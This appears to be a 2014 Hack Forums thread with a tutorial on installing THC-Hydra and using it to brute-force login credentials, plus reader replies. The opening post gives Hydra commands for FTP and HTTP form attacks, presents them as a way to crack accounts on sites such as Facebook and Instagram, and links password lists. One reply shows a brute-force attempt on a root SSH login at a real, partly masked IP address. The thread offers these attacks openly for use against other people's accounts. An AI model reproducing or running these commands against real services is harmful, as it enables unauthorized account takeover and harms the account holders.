Hack Forums
[TUTORIAL] How to brute force/hack accounts with THC-HYDRA (Works on Linux) - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [TUTORIAL] How to brute force/hack accounts with THC-HYDRA (Works on Linux) (/showthread.php?tid=4416015)

Pages: Pages 1 2 3

[TUTORIAL] How to brute force/hack accounts with THC-HYDRA (Works on Linux) - High On Quack - Oct 21, 2014

Bruteforcing with THC-HYDRA

I see a lot of threads in beginner hacking asking questions like: "How do I hack_ accounts", "how do I get the password for ___"

This tutorial will teach you how to brute force accounts with thc-hydra (command line version)

Requirements:
  • PC, MAC, or LINUX OS (kali linux is the best to use)
  • Macports (if on mac)
  • Cygwin (PC)
  • Aptitude (if not on linux other than kali linux)

Installing on Mac:
Grab MacPorts and install it here: https://www.macports.org/install.php

Once installed, open up terminal. Type/copy the following lines into terminal:
Code
port install libssh
port install hydra

thc-hydra is now installed on your mac.

Installing on Linux:

Code
Ubuntu/Debian: apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev

Redhat/Fedora: yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel

OpenSuSE: zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel

Now use wget or curl to download The hydra source http://www.thc.org/releases/hydra-8.0.tar.gz
Use tar to unpack it:
Code
tar -xzf hydra-8.0.tar.gz

Now run:
Code
cd hydra-8.0
./configure
make
You have now finished installing hydra on your *nix box!

Using THC-Hydra!


The most common way that I have used thc-hydra is to brute force ftp accounts
how you would do this is by typing:
Code
hydra -l ftpuser -P mypasswordlist.txt ftp://leftpserver.net

You can look up how to use the program to your specific needs by typing:
Code
hydra -h
It will display all parameters.

Using THC-Hydra WITH HTTP!


HTTP is the most useful form of a brute force attack, it allows you to crack web logins like facebook, instagram, league of legends, you name it!

Here is what you need to know for an http attack:

Website domain: example.com
Method(Type this in correct order): http-form-post
What the website returns on incorrect login: Wrong password fool.
url of the page: /login.php
Form parameters (these are the name="~~~" variable in an input tag): user=^USER^&password=^PASS^
and then your users file/passwords file and other stuff that I showed you in the last section.

Here is the command (replace with your own variables)
Code
hydra example.com http-form-post "/login.php:user=^USER^&pass=^PASS^:Wrong password fool." -L users.txt -P pass.txt -t 10

PASSWORD LISTS! (The most important part)


10000 Most Commonly used passwords - http://adf.ly/t6veM
Computer Generated list of ~250,000,000 passwords! - http://getfiles.co/4uDH

PLEASE pm me with any questions I would love to help!

* - LindaPinda - Oct 21, 2014

So you are teaching how to install on unix based systems, and how to crack a FTP-logins.. No offence, but maybe you should edit your tittle to something more accurate? ❓

You should add how to compile it on windows OS, and how to brute HTTP forms.
That would assist a lot of users... 🙂

Spoiler (Click to View)

* - High On Quack - Oct 21, 2014

I will add a separate tut for that, this tut works fine for imap, pop3, ssh, ftp, sql, etc. as long as its not http/

* - P0pz - Oct 22, 2014

Nice tutorial, but most "how to crack X" questions are mostly on social media accounts or game accounts.

* - Dirtmaan - Oct 22, 2014

Thanks for this method, vouched by me ;)

* - High On Quack - Oct 22, 2014

THC-Hydra works with social network accounts It is just configured weirdly, I will be updating it with that info!

* - number7 - Nov 24, 2014

i get erro

Compiled without LIBSSH v0.4.x support, module is not available!

when i try to run ssh any help

i did run exactly as posted hear except at end of hydra
make
i ran make install as it told me too
ok so now diffrent errors

hear is what i did to try fix the libssh erro

Code
cd /usr/local/src
wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
tar zxf libssh-0.4.8.tar.gz
cd libssh-0.4.8
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
make
make install

then reinstalled hydra

now i get this erro

Code
[root@CT105 hydra-8.0]# hydra -s 22 -V -l root -P p2.txt 1xx.1xx.xxx.xxx ssh
hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory

i xxed out the ip i was running agenced in this post

any thoughts

* - meicheung333 - Nov 25, 2014

your common password is very great. I think it is very important in the bf pwd when have a good pwd list

* - NothingIllegal - Nov 25, 2014

This isn't written for HTTP, while most of those threads asking is for, you guessed it, HTTP.

* - skidochua - Nov 25, 2014

IF you know how to use hydra for web form login attack pls pm me on [email protected]

* - High On Quack - Dec 16, 2014

I added to the tutorial a section for HTTP brute forcing! Happy Cracking!

* - GorrePro - Dec 24, 2014

Thanks for great for this mate , looked everywhere after an easy understanding and working tutorial !

* - High On Quack - Dec 24, 2014

(Dec 24, 2014 03:05 PM)GorrePro Wrote:  Thanks for great for this mate , looked everywhere after an easy understanding and working tutorial !

(Dec 17, 2014 09:29 AM)ShatteredPrince Wrote:  Awesome tutorial , thanks for share buddy. 🤝

Thank you guys for leaving feedback. I am glad I could help you!

* - akbarb - Jan 11, 2015

The download link for the 10k pwd is invalid, and the other one is a survey site that never completes...
Other than that thanks for the tut!

* - High On Quack - Jan 18, 2015

(Jan 11, 2015 06:21 PM)akbarb Wrote:  The download link for the 10k pwd is invalid, and the other one is a survey site that never completes...
Other than that thanks for the tut!
The 10K list works for sure, I just tested it.